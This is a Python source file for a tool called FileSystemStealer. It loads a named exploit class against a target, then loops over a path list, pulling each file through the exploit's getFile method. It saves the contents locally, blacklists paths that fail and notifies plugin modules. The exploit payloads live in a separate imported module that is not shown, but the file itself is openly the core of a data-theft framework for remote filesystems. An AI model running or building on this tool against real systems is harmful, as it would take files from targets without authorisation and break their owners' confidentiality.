#!/usr/bin/env python

import os
import exploit 
from store import StorageDriver
from blacklist import Blacklist
from pathlist import Pathlist
from mod import ModuleContainer,ModuleFactory

class ExploitFactory:
	def create(self, exploitclass, target):
		global exploit
		cls = getattr(exploit, exploitclass)
		exploit = cls()
		exploit.initialize(target)
		return exploit

class FileSystemStealer:
	def __init__(self, target, exploit, blacklist, odir, threadnum, initialpaths, moduledatapath):
		self.exploit = ExploitFactory().create(exploit, target)
		self.blacklist = Blacklist(blacklist)
		self.storageDriver = StorageDriver(odir, self.blacklist)
		self.pathlist = Pathlist(initialpaths, self.blacklist, odir)
		self.threadnum = threadnum
		self.modcontainer = ModuleContainer(ModuleFactory(self), moduledatapath)

	def run(self):
		try:
			while not self.pathlist.finished():
				path = self.pathlist.getNext()
				self.modcontainer.notify("preGetFile", path)
				data = self.exploit.getFile(path)
				if data is None:
					self.blacklistPath(path, noregex=True)
					continue
				self.storageDriver.putFile(path, data)
				self.modcontainer.notify("postGetFile", path, data)
		except KeyboardInterrupt:
			pass

		finally:
			self.sync()

	def sync(self):
		self.storageDriver.sync()
		self.pathlist.sync()
	
	### Module API implementation members following ###

	def addPath(self, path, priority):
		self.pathlist.addPath(path, priority)

	def delPath(self, path):
		self.pathlist.delPath(path)

	def blacklistPath(self, path, noregex=False):
		if noregex:
			self.blacklist.add("^%s$"%path)
		else:
			self.blacklist.add(path)

	def tagPath(self, path, tag):
		self.storageDriver.putTag(path, tag)
